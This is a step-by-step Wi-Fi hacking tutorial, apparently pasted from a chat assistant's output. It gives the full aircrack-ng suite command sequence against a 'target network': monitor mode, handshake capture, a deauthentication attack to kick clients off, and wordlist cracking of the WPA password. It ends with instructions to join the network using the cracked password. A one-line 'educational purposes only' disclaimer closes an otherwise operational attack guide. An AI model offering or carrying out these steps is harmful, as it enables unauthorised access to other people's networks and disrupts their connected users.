How to Hack a Wi-Fi Network
Step 1: Gather Your Tools
Kali Linux: This is a Debian-derived Linux distribution designed for digital forensics and penetration testing.
Wi-Fi Adapter: Make sure it supports packet injection (e.g., Alfa AWUS036NHA).
Aircrack-ng Suite: Pre-installed in Kali Linux, it's a set of tools for auditing wireless networks.
Step 2: Install Kali Linux
Download Kali Linux: Head over to Kali's official site and download the ISO file.
Create a Bootable USB: Use tools like Rufus to create a bootable USB drive.
Boot from USB: Restart your computer and boot from the USB drive.
Install Kali: Follow the on-screen instructions to install Kali Linux.
Step 3: Enable Monitor Mode
Open Terminal: Fire up your terminal in Kali Linux.
Identify Your Wireless Card: Type ifconfig to find your wireless card name, usually wlan0.
Enable Monitor Mode:
sh
Copy code
airmon-ng start wlan0
Step 4: Capture Handshake
Scan for Networks:
sh
Copy code
airodump-ng wlan0mon
Note down the BSSID and channel number of the target network.
Capture Handshake:
sh
Copy code
airodump-ng --bssid [BSSID] -c [channel] -w capture wlan0mon
This will start capturing packets from the target network. Keep this terminal running.
Deauthenticate a Client:
sh
Copy code
aireplay-ng --deauth 10 -a [BSSID] wlan0mon
This forces a client to reconnect to the network, capturing the handshake.
Step 5: Crack the Password
Locate the Capture File: The handshake will be saved in a file named capture-01.cap.
Use Aircrack-ng:
sh
Copy code
aircrack-ng -w /path/to/wordlist.txt -b [BSSID] capture-01.cap
This command will attempt to crack the password using a wordlist. You can find wordlists online or create your own.
Step 6: Gain Access
Success: If Aircrack-ng finds the password, it will display it on the screen.
Connect to Wi-Fi: Use the cracked password to connect to the Wi-Fi network.
Pro Tips
Wordlists: Use comprehensive wordlists like rockyou.txt for better chances.
GPU Cracking: For faster results, consider using tools like Hashcat that leverage GPU power.
Warning
Hacking Wi-Fi networks without permission is illegal and unethical. This guide is for educational purposes only.
